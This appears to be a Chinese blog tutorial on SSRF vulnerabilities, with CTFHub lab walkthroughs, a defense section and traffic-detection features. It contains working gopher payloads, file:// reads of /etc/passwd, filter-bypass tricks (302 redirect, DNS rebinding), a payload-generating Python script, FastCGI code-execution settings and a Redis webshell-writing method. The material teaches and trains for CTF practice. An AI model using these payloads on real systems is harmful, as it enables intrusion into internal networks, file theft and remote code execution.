SSRF漏洞详解

SSRF漏洞定义

SSRF(Server-Side Request Forgery:服务器跨站请求),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

攻击的目标

从外网无法访问的内部系统(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务,当作跳板进行攻击)

形成的原因

大多是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤和限制。

SSRF漏洞危害

通过服务器A(SSRF服务器)访问A所在内网的其他服务器获取信息,进而利用SSRF实现其他漏洞利用。

1、利用file协议读取本地文件
2、对服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
3、攻击运行在内网或本地的应用程序
4、对内网web应用进行指纹识别,识别企业内部的资产信息
5、攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击

SSRF漏洞的利用方式可以分成两个方向:相关php函数、常利用的相关协议

相关php函数

curl_exec() 用于执行cURL会话,处理复杂的HTTP请求。
fsockopen() 打开一个网络连接,用于低级别的网络通信
file_get_contents() 读取文件或URL内容到字符串,简单高效
fopen() 打开文件或URL,可以用于读写操作
readfile() 读取文件并直接输出,简单快速

常利用的相关协议

file:// 从文件系统中获取文件内容,如 file:///etc/passwd
http:// 常规URL形式
dict://字典服务协议,访问字典资源,如 dict:///ip:6767/info:
ftp://可用于网络端口扫描
gopher://分布式文档传递服务

file://

从文件系统中获取文件内容,格式为file://[文件路径]

	file:///etc/passwd            读取文件passwd
	file:///etc/hosts               显示当前操作系统网卡的IP
	file:///proc/net/arp           显示arp缓存表(寻找内网其他主机)
	file:///proc/net/fib _trie     显示当前网段路由信息

http://

作用:常规URL形式,允许通过HTTP 1.0的GET方法,以只读访问文件或资源。

http://example.com
http://example.com/file.php?var1 =val1 &var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1 =val1 &var2=val2
https://user:password@example.com

协议之间的区别:
查找内网存活主机IP file://
查找内网主机开放端口 dict://、ftp://
目录扫描 http://

如内网http://127.0.0.1,通过目录扫描获取网站子页面,使用burp打开代理拦截页面发送至intruder,子页面为http://127.0.0.1/文件名+后缀,为文件名和后缀添加payload变量。
根据数据包大小判断是否有内容页面。可以增加扫描选项如php、zip、txt等。

dict://

查找内网主机开放端口,获取内网信息,格式为:dict://+ip:端口+/TCP/IP数据
ftp://也可用于网络端口扫描,效率相对较低。

通过burpsuite抓包,在网址后添加dict://192.168.225.1:80
在1和80处增加模块,选择集束炸弹,设置payload后进行测试:
1、根据Length判断是否返回数据,从而判断端口是否打开
2、利用不同的Payload同时扫描多个IP的多个端口

gopher:// (做题可能会出错,很正常,保持耐心)

gopher://是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。gopher协议是ssrf利用最广泛的一个协议 。
**利用范围:**GET提交、POST提交、redis、fastcgi、SQL

基本格式:
gopher://<目标IP>:<端口>/<gopher-path>
注意gopher协议默认端口为 70,web也需要加端口。

测试一下,在kali的终端里开启nc监听70端口,然后curl gopher://127.0.0.l/abcd(不输入端口时,gopher协议默认端口70),发现gopher请求是不转发第一个字符的

所以,要保证转发的数据正确,就需要自己在第一位填充下划线_或者其他字符:

gopher伪协议实现GET提交

需要保留头部信息:
1、路径:GET /name.php?name=123 HTTP/1.1
2、目标地址:Host:172.250.250.4
gopher://172.250.250.4:80/_GET%20/name.php%3fname=123%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A

注意:
添加端口号80和填充位
URL编码:
空格 :%20
问号 :%3f
换行符 : %0d%0A

1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0D%0A,但如果直接用工具转,可能只会有%0A
3、在HTTP包的最后要加%0D%0A(换行符),代表消息结束(具体可研究HTTP包结束)
4、URL编码改为大写,冒号注意英文冒号
5、如果使用BP发包需要进行两次url编码
6、GET提交最后需要增加一个换行符

gopher伪协议实现POST提交

需要保留头部信息:POST、Host、Content-Type、Content-Length

将下面保留的内容进行两次URL编码

POST /name.php HTTP/1.1
Host:172.250.250.4
Content-Type:application/x-www-form-urlencoded
Content-Length:8
 
name=123

注意:
1、POST后面是要提交的文件名
2、Host为目标主机
3、类型要和提交的类型一致
4、长度为下面提交内容的具体长度
5、中间的空行不能少
6、回车换行要变为%0D%0A,但如果直接用工具转,可能只会有%0A

无论是GET提交还是POST提交,gopher的格式是不变的:
gopher://172.250.250.4:80/_编码后的内容粘贴至此

CTFHub技能树:

1、输入?url=file:///var/www/html/flag.php得到以下代码

<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

2、输入?url=127.0.0.1/flag.php
回显:

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=1766811aa32af96837a1e79f776bfbd6-->
</form>

发现key的值

3、那我们可以构造payload为:

POST /flag.php HTTP/1.1
Host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:36

key=1766811aa32af96837a1e79f776bfbd6

经过一次url编码后:POST%20/flag.php%20HTTP/1.1%0AHost%3A127.0.0.1%0AContent-Type%3Aapplication/x-www-form-urlencoded%0AContent-Length%3A36%0A%0Akey%3D1766811aa32af96837a1e79f776bfbd6

注意:需要将%0A替换成%0D%0A

第二次编码后:POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A127.0.0.1%250D%250AContent-Type%253Aapplication/x-www-form-urlencoded%250D%250AContent-Length%253A36%250D%250A%250D%250Akey%253D1766811aa32af96837a1e79f776bfbd6

4、在编码后的payload前加上?url=gopher://127.0.0.1:80/_,在浏览器框内输入?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A127.0.0.1%250D%250AContent-Type%253Aapplication/x-www-form-urlencoded%250D%250AContent-Length%253A36%250D%250A%250D%250Akey%253D1766811aa32af96837a1e79f776bfbd6,即可获得flag


SSRF之绕过

URL绕过

1.利用[::]
http://[::]:80/ =>http://127.0.0.1
不加端口的话是http://[::]/

2.利用@
这里就是在指定的网址后加@127.0.0.1

3.利用短域名
http://dwz.cn/11SMa >>> http://127.0.0.1

4.利用句号
127。0。0。1=>127.0.0.1

环回地址绕过

在CTF比赛中,有时会限制访问本地网站的内容,当$_SEVER['REMOTE_ADDR']=='127.0.0.1'时会报错,但是flag又需要在127.0.0.1才能访问,这时候我们可以对127.0.0.1进行变形绕过。


302重定向绕过

当私网地址被过滤时,可以使用302重定向绕过。(需要一台公网服务器或者将VMware的网卡改成公网的)
**原理:**当访问公网ip下的一个php文件(含重定向代码)时,php文件会重定向访问代码中的目标地址,实现绕过。

php代码如下:

<?php
header('Location:http://127.0.0.1/flag.php');
?>

DNS重绑定绕过

首先要知道,针对SSRF漏洞的防御一般有以下几个:
1.解目标URL,获取其Host
2.解析Host,获取Host指向的IP地址
3.检查IP地址是否为内网地址
4.请求URL
5.如果有跳转,拿出跳转URL,重新执行1

上面的防御可以有效限制:
直接访问内网IP;
302 跳转;
xip.io/xip.name;
短链接变换等 URL 变形;
畸形 URL;
iframe 攻击;
IP 进制转换;
针对这种防御可以使用DNS Rebinding Attack**(DNS 重绑定攻击)**

SSRF防御要进行两次DNS解析,第一次DNS解析是对URL的host进行DNS解析
第二次DNS解析是使用CURL发包的时候进行解析。我们的突破口就是第二次的DNS解析。

攻击原理

利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip达到突破同源策略或过waf进行ssrf的目的。

攻击方式

1、将第一次DNS解析的IP设为合法IP,绕过host合法性检查。
2、将第二次DNS解析的IP设为内网IP,实现SSRF访问内网。
这里需要用的网站是:https://lock.cmpxchg8b.com/rebinder.html

例如CTFHUB技能树的DNS重绑定,在上面所说的网站中填写A、B的IP地址,B的随便写就行。

将下面生成的DNS复制,构造payload:?url=7f000001.e170d501.rbndr.us/flag.php,GET提交即可得到flag


SSRF漏洞利用

文件上传利用(ctfhub技能树–上传文件)

格式要求:

1、打开网站,进入?url=127.0.0.1/flag.php页面,发现文件上传没有提交按钮,于是查看源码在form表单中写一个提交按钮。

2、随便新建一个文件,提交时使用burp suite抓包,抓取我们POST提交需要的内容

3、修改Host和Content-length即可,脚本如下:

import urllib.parse

payload = \
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 285
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypE3OJURMLr0Wyw1s

------WebKitFormBoundarypE3OJURMLr0Wyw1s
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php?>
------WebKitFormBoundarypE3OJURMLr0Wyw1s
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundarypE3OJURMLr0Wyw1s--
"""

tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

生成payload为:?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250A%2520%2520%2520%2520Host%253A%2520127.0.0.1%250D%250A%2520%2520%2520%2520Content-Length%253A%2520292%250D%250A%2520%2520%2520%2520Content-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%2520%2520%2520%2520------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%2520%2520%2520%2520Content-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250A%2520%2520%2520%2520Content-Type%253A%2520text/plain%250D%250A%2520%2520%2520%2520SSRF%2520Upload%250D%250A%2520%2520%2520%2520------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%2520%2520%2520%2520Content-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%2520%2520%2520%2520%25E6%258F%2590%25E4%25BA%25A4%250D%250A%2520%2520%2520%2520------WebKitFormBoundary1lYApMMA3NDrr2iY--,得到flag

SQL注入

GET提交

GET提交中,空格要编码成%20,直接敲一个空格或者+号是不行的。
要注意的是,在浏览器栏中提交特殊字符要做一次url编码,而在Hackbar和Burpsuite提交GET或POST数据要对构造的原始payload做两次url编码。


POST提交

首先gopher://127.0.0.1:80/_起手,然后将下面的代码进行两次url编码:

POST /Less-11/index.php HTTP/1.1
Host: 127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:53

uname=-1'union select 1,2 #&passwd=123&submit=Submit

拼接之后进行POST提交即可

FastCGI协议

FastCGI原理:https://blog.csdn.net/mysteryflower/article/details/94386461

简单地概括一下漏洞产生的原理:

PHP-FPM的fix_pathinfo配置:

PHP-FPM的fix_pathinfo选项用于支持Path Info模式,在打开时,如果SCRIPT_FILENAME指定的文件不存在,PHP-FPM会逐级去掉路径的最后一部分,直到找到存在的文件。
这种机制会导致Nginx传递的路径信息被PHP-FPM错误解析和执行,形成解析漏洞。

**利用:**通过构造特定的URL,如http://127.0.0.1/favicon.ico/.php,使Nginx传递的SCRIPT_FILENAME变为/var/www/html/favicon.ico/.php
PHP-FPM根据fix_pathinfo配置,去掉.php后,解析并执行/var/www/html/favicon.ico文件,导致解析漏洞。

PHP-FPM的安全配置:

PHP-FPM的security.limit_extensions配置项限制了可执行文件的后缀类型,防止任意文件被执行。
默认情况下只允许执行.php文件,但如果配置不当,可能导致任意文件执行漏洞。

**利用:**如果PHP-FPM的9000端口暴露在公网,攻击者可以直接与PHP-FPM通信,构造FastCGI请求。
通过构造特定的环境变量,如PHP_VALUE和PHP_ADMIN_VALUE,设置PHP配置项。例如:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'


    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'

}

设置auto_prepend_file = php://inputallow_url_include = On,将恶意代码放在请求的Body中,实现任意代码执行。

CTFHub技能树–FastCGI协议

1、要利用FastCGI协议,首先找到目标主机上存在的.php后缀文件,这里输入url=file:///var/www/html/index.php,查看源代码发现是存在的。

2、在kali中打开gopherus,输入命令构造payload:先输入php文件所在的位置,然后输入要执行的命令ls /

3、将生成的payload放到bp中再进行一次url编码

4、GET传入payload,得知flag的真正名字,于是再进行一次payload的构造:改变命令为cat /flag_198d5102767c129bfeace112e4473230

5、将payload再次url编码后传入即可获得flag


Redis协议

在利用SSRF攻击Redis前,先要理解一下Redis的客户端和服务端的通信方式,以及数据发送的格式。这里就涉及到一个RESP协议

RESP协议

RESP协议(REdis Serialization Protocol)是Redis客户端与服务器之间通信的协议。它是一种简单、高效的文本协议,易于实现且具有良好的可读性。
RESP协议支持多种数据类型,包括简单字符串、错误信息、整数、批量字符串和数组:
简单字符串以+开头
错误信息以-开头
整数以:开头
批量字符串以$开头
数组以*开头
每种类型的数据均以CRLF(\r\n)结束,通过数据的首字符区分类型

例如:

这里第一行的*4代表了数组长度为4([‘config’,‘set’,‘dir’,‘/var/www/html/’]),第二行的$6代表了字符串的长度(config的长度),其中每一个换行都是\r\n在设置payload时需要更换成%0D%0A

Redis未授权webshell写入

例题:CTFHub技能树–Redis协议
1、这道题提示redis://127.0.0.1:6379,那我们就使用dict协议去检测端口是否开放:dict://127.0.0.1:6379,发现是开放的。

2、那我们直接使用gopherus工具进行构造payload(这里两个地方都使用默认值):

3、对生成的payload进行第二次url编码,拼接到?url=后面,提交后回显504超时,这里应该是因为工具生成的payload的末尾没有加上quit,使得payload是挂起状态,但是实际上shell.php已经写入html目录下了。

4、访问shell.php,并在后面接上参数cmd=ls /,展示根目录下的文件,发现flag的信息,直接cat /f*即可。

SSRF防御

1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3.限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4.黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5.禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。


流量特征分析

• 请求来源一般是内网服务器

• 请求较为频繁

• 异常的协议使用,如file,dict,gopher,ftp等伪协议

• url中的url跳转相关参数为内网ip或者是不寻常的外部地址
补:与url相关的参数 url,sourceURL,imageURL,share,link,target,domain

• url跳转相关的参数可能出现一些特殊字符,编码等尝试进行饶过安全设备检测

• url跳转相关的参数可能访问端口为异常端口如8080,9090等端口
补:内部服务可能配置在一些非标准端口上

• url跳转相关的参数可能出现以下php中的函数
file_get_contents() 作用是读取文件内容获取网络资源
fsockopen() 作用是开启网络连接
curl_exec() 使用所有的网络协议

  • 11
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值